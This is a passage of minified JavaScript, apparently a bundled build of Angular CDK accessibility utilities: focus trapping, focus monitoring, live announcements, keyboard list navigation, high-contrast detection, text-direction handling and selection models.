Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();const mt=this._document.createElement("div");mt.style.visibility="hidden",mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),this._platform&&!this._platform.isBrowser&&mt.setAttribute("platform","server"),this._document.body.appendChild(mt),this._messagesContainer=mt}_removeCdkDescribedByReferenceIds(J){const Ae=ee(J,"aria-describedby").filter(mt=>0!=mt.indexOf(we));J.setAttribute("aria-describedby",Ae.join(" "))}_addMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);(function K(Ue,xe,J){const Ae=ee(Ue,xe);Ae.some(mt=>mt.trim()==J.trim())||(Ae.push(J.trim()),Ue.setAttribute(xe,Ae.join(" ")))})(J,"aria-describedby",mt.messageElement.id),J.setAttribute(ce,this._id),mt.referenceCount++}_removeMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);mt.referenceCount--,function se(Ue,xe,J){const mt=ee(Ue,xe).filter(Ct=>Ct!=J.trim());mt.length?Ue.setAttribute(xe,mt.join(" ")):Ue.removeAttribute(xe)}(J,"aria-describedby",mt.messageElement.id),J.removeAttribute(ce)}_isElementDescribedByMessage(J,Ae){const mt=ee(J,"aria-describedby"),Ct=this._messageRegistry.get(Ae),jt=Ct&&Ct.messageElement.id;return!!jt&&-1!=mt.indexOf(jt)}_canBeDescribed(J,Ae){if(!this._isElementNode(J))return!1;if(Ae&&"object"==typeof Ae)return!0;const mt=null==Ae?"":`${Ae}`.trim(),Ct=J.getAttribute("aria-label");return!(!mt||Ct&&Ct.trim()===mt)}_isElementNode(J){return J.nodeType===this._document.ELEMENT_NODE}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(n.K0),a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function le(Ue,xe){return"string"==typeof Ue?`${xe||""}/${Ue}`:Ue}function Oe(Ue,xe){Ue.id||(Ue.id=`${we}-${xe}-${je++}`)}class Qe{constructor(xe){this._items=xe,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new u.xQ,this._typeaheadSubscription=c.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=J=>J.disabled,this._pressedLetters=[],this.tabOut=new u.xQ,this.change=new u.xQ,xe instanceof a.n_E&&xe.changes.subscribe(J=>{if(this._activeItem){const mt=J.toArray().indexOf(this._activeItem);mt>-1&&mt!==this._activeItemIndex&&(this._activeItemIndex=mt)}})}skipPredicate(xe){return this._skipPredicateFn=xe,this}withWrap(xe=!0){return this._wrap=xe,this}withVerticalOrientation(xe=!0){return this._vertical=xe,this}withHorizontalOrientation(xe){return this._horizontal=xe,this}withAllowedModifierKeys(xe){return this._allowedModifierKeys=xe,this}withTypeAhead(xe=200){return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,S.b)(J=>this._pressedLetters.push(J)),(0,g.b)(xe),(0,C.h)(()=>this._pressedLetters.length>0),(0,z.U)(()=>this._pressedLetters.join(""))).subscribe(J=>{const Ae=this._getItemsArray();for(let mt=1;mt<Ae.length+1;mt++){const Ct=(this._activeItemIndex+mt)%Ae.length,jt=Ae[Ct];if(!this._skipPredicateFn(jt)&&0===jt.getLabel().toUpperCase().trim().indexOf(J)){this.setActiveItem(Ct);break}}this._pressedLetters=[]}),this}withHomeAndEnd(xe=!0){return this._homeAndEnd=xe,this}setActiveItem(xe){const J=this._activeItem;this.updateActiveItem(xe),this._activeItem!==J&&this.change.next(this._activeItemIndex)}onKeydown(xe){const J=xe.keyCode,mt=["altKey","ctrlKey","metaKey","shiftKey"].every(Ct=>!xe[Ct]||this._allowedModifierKeys.indexOf(Ct)>-1);switch(J){case _.Mf:return void this.tabOut.next();case _.JH:if(this._vertical&&mt){this.setNextItemActive();break}return;case _.LH:if(this._vertical&&mt){this.setPreviousItemActive();break}return;case _.SV:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case _.oh:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case _.Sd:if(this._homeAndEnd&&mt){this.setFirstItemActive();break}return;case _.uR:if(this._homeAndEnd&&mt){this.setLastItemActive();break}return;default:return void((mt||(0,_.Vb)(xe,"shiftKey"))&&(xe.key&&1===xe.key.length?this._letterKeyStream.next(xe.key.toLocaleUpperCase()):(J>=_.A&&J<=_.Z||J>=_.xE&&J<=_.aO)&&this._letterKeyStream.next(String.fromCharCode(J))))}this._pressedLetters=[],xe.preventDefault()}get activeItemIndex(){return this._activeItemIndex}get activeItem(){return this._activeItem}isTyping(){return this._pressedLetters.length>0}setFirstItemActive(){this._setActiveItemByIndex(0,1)}setLastItemActive(){this._setActiveItemByIndex(this._items.length-1,-1)}setNextItemActive(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}setPreviousItemActive(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}updateActiveItem(xe){const J=this._getItemsArray(),Ae="number"==typeof xe?xe:J.indexOf(xe);this._activeItem=J[Ae]??null,this._activeItemIndex=Ae}_setActiveItemByDelta(xe){this._wrap?this._setActiveInWrapMode(xe):this._setActiveInDefaultMode(xe)}_setActiveInWrapMode(xe){const J=this._getItemsArray();for(let Ae=1;Ae<=J.length;Ae++){const mt=(this._activeItemIndex+xe*Ae+J.length)%J.length;if(!this._skipPredicateFn(J[mt]))return void this.setActiveItem(mt)}}_setActiveInDefaultMode(xe){this._setActiveItemByIndex(this._activeItemIndex+xe,xe)}_setActiveItemByIndex(xe,J){const Ae=this._getItemsArray();if(Ae[xe]){for(;this._skipPredicateFn(Ae[xe]);)if(!Ae[xe+=J])return;this.setActiveItem(xe)}}_getItemsArray(){return this._items instanceof a.n_E?this._items.toArray():this._items}}class Ye extends Qe{setActiveItem(xe){this.activeItem&&this.activeItem.setInactiveStyles(),super.setActiveItem(xe),this.activeItem&&this.activeItem.setActiveStyles()}}class qe extends Qe{constructor(){super(...arguments),this._origin="program"}setFocusOrigin(xe){return this._origin=xe,this}setActiveItem(xe){super.setActiveItem(xe),this.activeItem&&this.activeItem.focus(this._origin)}}let dt=(()=>{class Ue{constructor(J){this._platform=J}isDisabled(J){return J.hasAttribute("disabled")}isVisible(J){return function ze(Ue){return!!(Ue.offsetWidth||Ue.offsetHeight||"function"==typeof Ue.getClientRects&&Ue.getClientRects().length)}(J)&&"visible"===getComputedStyle(J).visibility}isTabbable(J){if(!this._platform.isBrowser)return!1;const Ae=function bt(Ue){try{return Ue.frameElement}catch{return null}}(function R(Ue){return Ue.ownerDocument&&Ue.ownerDocument.defaultView||window}(J));if(Ae&&(-1===pe(Ae)||!this.isVisible(Ae)))return!1;let mt=J.nodeName.toLowerCase(),Ct=pe(J);return J.hasAttribute("contenteditable")?-1!==Ct:!("iframe"===mt||"object"===mt||this._platform.WEBKIT&&this._platform.IOS&&!function P(Ue){let xe=Ue.nodeName.toLowerCase(),J="input"===xe&&Ue.type;return"text"===J||"password"===J||"select"===xe||"textarea"===xe}(J))&&("audio"===mt?!!J.hasAttribute("controls")&&-1!==Ct:"video"===mt?-1!==Ct&&(null!==Ct||this._platform.FIREFOX||J.hasAttribute("controls")):J.tabIndex>=0)}isFocusable(J,Ae){return function w(Ue){return!function re(Ue){return function We(Ue){return"input"==Ue.nodeName.toLowerCase()}(Ue)&&"hidden"==Ue.type}(Ue)&&(function De(Ue){let xe=Ue.nodeName.toLowerCase();return"input"===xe||"select"===xe||"button"===xe||"textarea"===xe}(Ue)||function ve(Ue){return function xt(Ue){return"a"==Ue.nodeName.toLowerCase()}(Ue)&&Ue.hasAttribute("href")}(Ue)||Ue.hasAttribute("contenteditable")||Be(Ue))}(J)&&!this.isDisabled(J)&&(Ae?.ignoreVisibility||this.isVisible(J))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function Be(Ue){if(!Ue.hasAttribute("tabindex")||void 0===Ue.tabIndex)return!1;let xe=Ue.getAttribute("tabindex");return!(!xe||isNaN(parseInt(xe,10)))}function pe(Ue){if(!Be(Ue))return null;const xe=parseInt(Ue.getAttribute("tabindex")||"",10);return isNaN(xe)?-1:xe}class X{constructor(xe,J,Ae,mt,Ct=!1){this._element=xe,this._checker=J,this._ngZone=Ae,this._document=mt,this._hasAttached=!1,this.startAnchorListener=()=>this.focusLastTabbableElement(),this.endAnchorListener=()=>this.focusFirstTabbableElement(),this._enabled=!0,Ct||this.attachAnchors()}get enabled(){return this._enabled}set enabled(xe){this._enabled=xe,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}destroy(){const xe=this._startAnchor,J=this._endAnchor;xe&&(xe.removeEventListener("focus",this.startAnchorListener),xe.remove()),J&&(J.removeEventListener("focus",this.endAnchorListener),J.remove()),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}attachAnchors(){return!!this._hasAttached||(this._ngZone.runOutsideAngular(()=>{this._startAnchor||(this._startAnchor=this._createAnchor(),this._startAnchor.addEventListener("focus",this.startAnchorListener)),this._endAnchor||(this._endAnchor=this._createAnchor(),this._endAnchor.addEventListener("focus",this.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}focusInitialElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusInitialElement(xe)))})}focusFirstTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusFirstTabbableElement(xe)))})}focusLastTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusLastTabbableElement(xe)))})}_getRegionBoundary(xe){const J=this._element.querySelectorAll(`[cdk-focus-region-${xe}], [cdkFocusRegion${xe}], [cdk-focus-${xe}]`);return"start"==xe?J.length?J[0]:this._getFirstTabbableElement(this._element):J.length?J[J.length-1]:this._getLastTabbableElement(this._element)}focusInitialElement(xe){const J=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(J){if(!this._checker.isFocusable(J)){const Ae=this._getFirstTabbableElement(J);return Ae?.focus(xe),!!Ae}return J.focus(xe),!0}return this.focusFirstTabbableElement(xe)}focusFirstTabbableElement(xe){const J=this._getRegionBoundary("start");return J&&J.focus(xe),!!J}focusLastTabbableElement(xe){const J=this._getRegionBoundary("end");return J&&J.focus(xe),!!J}hasAttached(){return this._hasAttached}_getFirstTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=0;Ae<J.length;Ae++){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(J[Ae]):null;if(mt)return mt}return null}_getLastTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=J.length-1;Ae>=0;Ae--){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(J[Ae]):null;if(mt)return mt}return null}_createAnchor(){const xe=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,xe),xe.classList.add("cdk-visually-hidden"),xe.classList.add("cdk-focus-trap-anchor"),xe.setAttribute("aria-hidden","true"),xe}_toggleAnchorTabIndex(xe,J){xe?J.setAttribute("tabindex","0"):J.removeAttribute("tabindex")}toggleAnchors(xe){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}_executeOnStable(xe){this._ngZone.isStable?xe():this._ngZone.onStable.pipe((0,H.q)(1)).subscribe(xe)}}let _e=(()=>{class Ue{constructor(J,Ae,mt){this._checker=J,this._ngZone=Ae,this._document=mt}create(J,Ae=!1){return new X(J,this._checker,this._ngZone,this._document,Ae)}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(dt),a.LFG(a.R0b),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),ct=(()=>{class Ue{constructor(J,Ae,mt){this._elementRef=J,this._focusTrapFactory=Ae,this._previouslyFocusedElement=null,this.focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement,!0)}get enabled(){return this.focusTrap.enabled}set enabled(J){this.focusTrap.enabled=(0,Q.Ig)(J)}get autoCapture(){return this._autoCapture}set autoCapture(J){this._autoCapture=(0,Q.Ig)(J)}ngOnDestroy(){this.focusTrap.destroy(),this._previouslyFocusedElement&&(this._previouslyFocusedElement.focus(),this._previouslyFocusedElement=null)}ngAfterContentInit(){this.focusTrap.attachAnchors(),this.autoCapture&&this._captureFocus()}ngDoCheck(){this.focusTrap.hasAttached()||this.focusTrap.attachAnchors()}ngOnChanges(J){const Ae=J.autoCapture;Ae&&!Ae.firstChange&&this.autoCapture&&this.focusTrap.hasAttached()&&this._captureFocus()}_captureFocus(){this._previouslyFocusedElement=(0,s.ht)(),this.focusTrap.focusInitialElementWhenReady()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(_e),a.Y36(n.K0))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkTrapFocus",""]],inputs:{enabled:["cdkTrapFocus","enabled"],autoCapture:["cdkTrapFocusAutoCapture","autoCapture"]},exportAs:["cdkTrapFocus"],features:[a.TTD]}),Ue})();function te(Ue){return 0===Ue.buttons||0===Ue.offsetX&&0===Ue.offsetY}function x(Ue){const xe=Ue.touches&&Ue.touches[0]||Ue.changedTouches&&Ue.changedTouches[0];return!(!xe||-1!==xe.identifier||null!=xe.radiusX&&1!==xe.radiusX||null!=xe.radiusY&&1!==xe.radiusY)}const m=new a.OlP("cdk-input-modality-detector-options"),b={ignoreKeys:[_.zL,_.jx,_.b2,_.MW,_.JU]},ie=(0,s.i$)({passive:!0,capture:!0});let Xe=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._platform=J,this._mostRecentTarget=null,this._modality=new f.X(null),this._lastTouchMs=0,this._onKeydown=jt=>{this._options?.ignoreKeys?.some(pt=>pt===jt.keyCode)||(this._modality.next("keyboard"),this._mostRecentTarget=(0,s.sA)(jt))},this._onMousedown=jt=>{Date.now()-this._lastTouchMs<650||(this._modality.next(te(jt)?"keyboard":"mouse"),this._mostRecentTarget=(0,s.sA)(jt))},this._onTouchstart=jt=>{x(jt)?this._modality.next("keyboard"):(this._lastTouchMs=Date.now(),this._modality.next("touch"),this._mostRecentTarget=(0,s.sA)(jt))},this._options={...b,...Ct},this.modalityDetected=this._modality.pipe((0,j.T)(1)),this.modalityChanged=this.modalityDetected.pipe((0,U.x)()),J.isBrowser&&Ae.runOutsideAngular(()=>{mt.addEventListener("keydown",this._onKeydown,ie),mt.addEventListener("mousedown",this._onMousedown,ie),mt.addEventListener("touchstart",this._onTouchstart,ie)})}get mostRecentModality(){return this._modality.value}ngOnDestroy(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,ie),document.removeEventListener("mousedown",this._onMousedown,ie),document.removeEventListener("touchstart",this._onTouchstart,ie))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(m,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const it=new a.OlP("liveAnnouncerElement",{providedIn:"root",factory:function wt(){return null}}),Vt=new a.OlP("LIVE_ANNOUNCER_DEFAULT_OPTIONS");let Gt=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._ngZone=Ae,this._defaultOptions=Ct,this._document=mt,this._liveElement=J||this._createLiveElement()}announce(J,...Ae){const mt=this._defaultOptions;let Ct,jt;return 1===Ae.length&&"number"==typeof Ae[0]?jt=Ae[0]:[Ct,jt]=Ae,this.clear(),clearTimeout(this._previousTimeout),Ct||(Ct=mt&&mt.politeness?mt.politeness:"polite"),null==jt&&mt&&(jt=mt.duration),this._liveElement.setAttribute("aria-live",Ct),this._ngZone.runOutsideAngular(()=>(this._currentPromise||(this._currentPromise=new Promise(pt=>this._currentResolve=pt)),clearTimeout(this._previousTimeout),this._previousTimeout=setTimeout(()=>{this._liveElement.textContent=J,"number"==typeof jt&&(this._previousTimeout=setTimeout(()=>this.clear(),jt)),this._currentResolve(),this._currentPromise=this._currentResolve=void 0},100),this._currentPromise))}clear(){this._liveElement&&(this._liveElement.textContent="")}ngOnDestroy(){clearTimeout(this._previousTimeout),this._liveElement?.remove(),this._liveElement=null,this._currentResolve?.(),this._currentPromise=this._currentResolve=void 0}_createLiveElement(){const J="cdk-live-announcer-element",Ae=this._document.getElementsByClassName(J),mt=this._document.createElement("div");for(let Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();return mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),mt.setAttribute("aria-atomic","true"),mt.setAttribute("aria-live","polite"),this._document.body.appendChild(mt),mt}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(it,8),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(Vt,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const u1=new a.OlP("cdk-focus-monitor-default-options"),c1=(0,s.i$)({passive:!0,capture:!0});let It=(()=>{class Ue{constructor(J,Ae,mt,Ct,jt){this._ngZone=J,this._platform=Ae,this._inputModalityDetector=mt,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=()=>{this._windowFocused=!0,this._windowFocusTimeoutId=window.setTimeout(()=>this._windowFocused=!1)},this._stopInputModalityDetector=new u.xQ,this._rootNodeFocusAndBlurListener=pt=>{for(let fe=(0,s.sA)(pt);fe;fe=fe.parentElement)"focus"===pt.type?this._onFocus(pt,fe):this._onBlur(pt,fe)},this._document=Ct,this._detectionMode=jt?.detectionMode||0}monitor(J,Ae=!1){const mt=(0,Q.fI)(J);if(!this._platform.isBrowser||1!==mt.nodeType)return(0,E.of)(null);const Ct=(0,s.kV)(mt)||this._getDocument(),jt=this._elementInfo.get(mt);if(jt)return Ae&&(jt.checkChildren=!0),jt.subject;const pt={checkChildren:Ae,subject:new u.xQ,rootNode:Ct};return this._elementInfo.set(mt,pt),this._registerGlobalListeners(pt),pt.subject}stopMonitoring(J){const Ae=(0,Q.fI)(J),mt=this._elementInfo.get(Ae);mt&&(mt.subject.complete(),this._setClasses(Ae),this._elementInfo.delete(Ae),this._removeGlobalListeners(mt))}focusVia(J,Ae,mt){const Ct=(0,Q.fI)(J);Ct===this._getDocument().activeElement?this._getClosestElementsInfo(Ct).forEach(([pt,nt])=>this._originChanged(pt,Ae,nt)):(this._setOrigin(Ae),"function"==typeof Ct.focus&&Ct.focus(mt))}ngOnDestroy(){this._elementInfo.forEach((J,Ae)=>this.stopMonitoring(Ae))}_getDocument(){return this._document||document}_getWindow(){return this._getDocument().defaultView||window}_getFocusOrigin(J){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(J)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:J&&this._isLastInteractionFromInputLabel(J)?"mouse":"program"}_shouldBeAttributedToTouch(J){return 1===this._detectionMode||!!J?.contains(this._inputModalityDetector._mostRecentTarget)}_setClasses(J,Ae){J.classList.toggle("cdk-focused",!!Ae),J.classList.toggle("cdk-touch-focused","touch"===Ae),J.classList.toggle("cdk-keyboard-focused","keyboard"===Ae),J.classList.toggle("cdk-mouse-focused","mouse"===Ae),J.classList.toggle("cdk-program-focused","program"===Ae)}_setOrigin(J,Ae=!1){this._ngZone.runOutsideAngular(()=>{this._origin=J,this._originFromTouchInteraction="touch"===J&&Ae,0===this._detectionMode&&(clearTimeout(this._originTimeoutId),this._originTimeoutId=setTimeout(()=>this._origin=null,this._originFromTouchInteraction?650:1))})}_onFocus(J,Ae){const mt=this._elementInfo.get(Ae),Ct=(0,s.sA)(J);!mt||!mt.checkChildren&&Ae!==Ct||this._originChanged(Ae,this._getFocusOrigin(Ct),mt)}_onBlur(J,Ae){const mt=this._elementInfo.get(Ae);!mt||mt.checkChildren&&J.relatedTarget instanceof Node&&Ae.contains(J.relatedTarget)||(this._setClasses(Ae),this._emitOrigin(mt,null))}_emitOrigin(J,Ae){J.subject.observers.length&&this._ngZone.run(()=>J.subject.next(Ae))}_registerGlobalListeners(J){if(!this._platform.isBrowser)return;const Ae=J.rootNode,mt=this._rootNodeFocusListenerCount.get(Ae)||0;mt||this._ngZone.runOutsideAngular(()=>{Ae.addEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.addEventListener("blur",this._rootNodeFocusAndBlurListener,c1)}),this._rootNodeFocusListenerCount.set(Ae,mt+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(()=>{this._getWindow().addEventListener("focus",this._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe((0,G.R)(this._stopInputModalityDetector)).subscribe(Ct=>{this._setOrigin(Ct,!0)}))}_removeGlobalListeners(J){const Ae=J.rootNode;if(this._rootNodeFocusListenerCount.has(Ae)){const mt=this._rootNodeFocusListenerCount.get(Ae);mt>1?this._rootNodeFocusListenerCount.set(Ae,mt-1):(Ae.removeEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.removeEventListener("blur",this._rootNodeFocusAndBlurListener,c1),this._rootNodeFocusListenerCount.delete(Ae))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}_originChanged(J,Ae,mt){this._setClasses(J,Ae),this._emitOrigin(mt,Ae),this._lastFocusOrigin=Ae}_getClosestElementsInfo(J){const Ae=[];return this._elementInfo.forEach((mt,Ct)=>{(Ct===J||mt.checkChildren&&Ct.contains(J))&&Ae.push([Ct,mt])}),Ae}_isLastInteractionFromInputLabel(J){const{_mostRecentTarget:Ae,mostRecentModality:mt}=this._inputModalityDetector;if("mouse"!==mt||!Ae||Ae===J||"INPUT"!==J.nodeName&&"TEXTAREA"!==J.nodeName||J.disabled)return!1;const Ct=J.labels;if(Ct)for(let jt=0;jt<Ct.length;jt++)if(Ct[jt].contains(Ae))return!0;return!1}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(a.R0b),a.LFG(s.t4),a.LFG(Xe),a.LFG(n.K0,8),a.LFG(u1,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),_t=(()=>{class Ue{constructor(J,Ae){this._elementRef=J,this._focusMonitor=Ae,this._focusOrigin=null,this.cdkFocusChange=new a.vpe}get focusOrigin(){return this._focusOrigin}ngAfterViewInit(){const J=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(J,1===J.nodeType&&J.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(Ae=>{this._focusOrigin=Ae,this.cdkFocusChange.emit(Ae)})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(It))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"},exportAs:["cdkMonitorFocus"]}),Ue})();const kt="cdk-high-contrast-black-on-white",Fe="cdk-high-contrast-white-on-black",be="cdk-high-contrast-active";let Pe=(()=>{class Ue{constructor(J,Ae){this._platform=J,this._document=Ae,this._breakpointSubscription=(0,a.f3M)(Ce.Yg).observe("(forced-colors: active)").subscribe(()=>{this._hasCheckedHighContrastMode&&(this._hasCheckedHighContrastMode=!1,this._applyBodyHighContrastModeCssClasses())})}getHighContrastMode(){if(!this._platform.isBrowser)return 0;const J=this._document.createElement("div");J.style.backgroundColor="rgb(1,2,3)",J.style.position="absolute",this._document.body.appendChild(J);const Ae=this._document.defaultView||window,mt=Ae&&Ae.getComputedStyle?Ae.getComputedStyle(J):null,Ct=(mt&&mt.backgroundColor||"").replace(/ /g,"");switch(J.remove(),Ct){case"rgb(0,0,0)":case"rgb(45,50,54)":case"rgb(32,32,32)":return 2;case"rgb(255,255,255)":case"rgb(255,250,239)":return 1}return 0}ngOnDestroy(){this._breakpointSubscription.unsubscribe()}_applyBodyHighContrastModeCssClasses(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){const J=this._document.body.classList;J.remove(be,kt,Fe),this._hasCheckedHighContrastMode=!0;const Ae=this.getHighContrastMode();1===Ae?J.add(be,kt):2===Ae&&J.add(be,Fe)}}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),Re=(()=>{class Ue{constructor(J){J._applyBodyHighContrastModeCssClasses()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(Pe))},Ue.\\u0275mod=a.oAB({type:Ue}),Ue.\\u0275inj=a.cJS({imports:[oe.Q8]}),Ue})()},445:(At,ae,d)=>{"use strict";d.d(ae,{Is:()=>E,vT:()=>S});var n=d(4650),a=d(6895);const s=new n.OlP("cdk-dir-doc",{providedIn:"root",factory:function u(){return(0,n.f3M)(a.K0)}}),c=/^(ar|ckb|dv|he|iw|fa|nqo|ps|sd|ug|ur|yi|.*[-_](Adlm|Arab|Hebr|Nkoo|Rohg|Thaa))(?!.*[-_](Latn|Cyrl)($|-|_))($|-|_)/i;let E=(()=>{class g{constructor(z){this.value="ltr",this.change=new n.vpe,z&&(this.value=function f(g){const C=g?.toLowerCase()||"";return"auto"===C&&typeof navigator<"u"&&navigator?.language?c.test(navigator.language)?"rtl":"ltr":"rtl"===C?"rtl":"ltr"}((z.body?z.body.dir:null)||(z.documentElement?z.documentElement.dir:null)||"ltr"))}ngOnDestroy(){this.change.complete()}}return g.\\u0275fac=function(z){return new(z||g)(n.LFG(s,8))},g.\\u0275prov=n.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=n.oAB({type:g}),g.\\u0275inj=n.cJS({}),g})()},1281:(At,ae,d)=>{"use strict";d.d(ae,{Eq:()=>c,HM:()=>f,Ig:()=>a,du:()=>_,fI:()=>E,su:()=>s,t6:()=>u});var n=d(4650);function a(S){return null!=S&&"false"!=`${S}`}function s(S,g=0){return u(S)?Number(S):g}function u(S){return!isNaN(parseFloat(S))&&!isNaN(Number(S))}function c(S){return Array.isArray(S)?S:[S]}function f(S){return null==S?"":"string"==typeof S?S:`${S}px`}function E(S){return S instanceof n.SBq?S.nativeElement:S}function _(S,g=/\\s+/){const C=[];if(null!=S){const z=Array.isArray(S)?S:`${S}`.split(g);for(const H of z){const j=`${H}`.trim();j&&C.push(j)}}return C}},5017:(At,ae,d)=>{"use strict";d.d(ae,{A8:()=>C,Ov:()=>S,Z9:()=>c,eX:()=>_,k:()=>z,o2:()=>u,yy:()=>E});var n=d(1762),a=d(8929),s=d(4650);class u{}function c(H){return H&&"function"==typeof H.connect&&!(H instanceof n.c)}class E{applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;if(null==Ce.previousIndex){const q=G(Ce,k,K);se=U.createEmbeddedView(q.templateRef,q.context,q.index),ee=1}else null==K?(U.remove(k),ee=3):(se=U.get(k),U.move(se,K),ee=2);oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){}}class _{constructor(){this.viewCacheSize=20,this._viewCache=[]}applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;null==Ce.previousIndex?(se=this._insertView(()=>G(Ce,k,K),K,U,Q(Ce)),ee=se?1:0):null==K?(this._detachAndCacheView(k,U),ee=3):(se=this._moveView(k,K,U,Q(Ce)),ee=2),oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){for(const j of this._viewCache)j.destroy();this._viewCache=[]}_insertView(j,U,G,Q){const oe=this._insertViewFromCache(U,G);if(oe)return void(oe.context.$implicit=Q);const Ce=j();return G.createEmbeddedView(Ce.templateRef,Ce.context,Ce.index)}_detachAndCacheView(j,U){const G=U.detach(j);this._maybeCacheView(G,U)}_moveView(j,U,G,Q){const oe=G.get(j);return G.move(oe,U),oe.context.$implicit=Q,oe}_maybeCacheView(j,U){if(this._viewCache.length<this.viewCacheSize)this._viewCache.push(j);else{const G=U.indexOf(j);-1===G?j.destroy():U.remove(G)}}_insertViewFromCache(j,U){const G=this._viewCache.pop();return G&&U.insert(G,j),G||null}}class S{constructor(j=!1,U,G=!0,Q){this._multiple=j,this._emitChanges=G,this.compareWith=Q,this._selection=new Set,this._deselectedToEmit=[],this._selectedToEmit=[],this.changed=new a.xQ,U&&U.length&&(j?U.forEach(oe=>this._markSelected(oe)):this._markSelected(U[0]),this._selectedToEmit.length=0)}get selected(){return this._selected||(this._selected=Array.from(this._selection.values())),this._selected}select(...j){this._verifyValueAssignment(j),j.forEach(G=>this._markSelected(G));const U=this._hasQueuedChanges();return 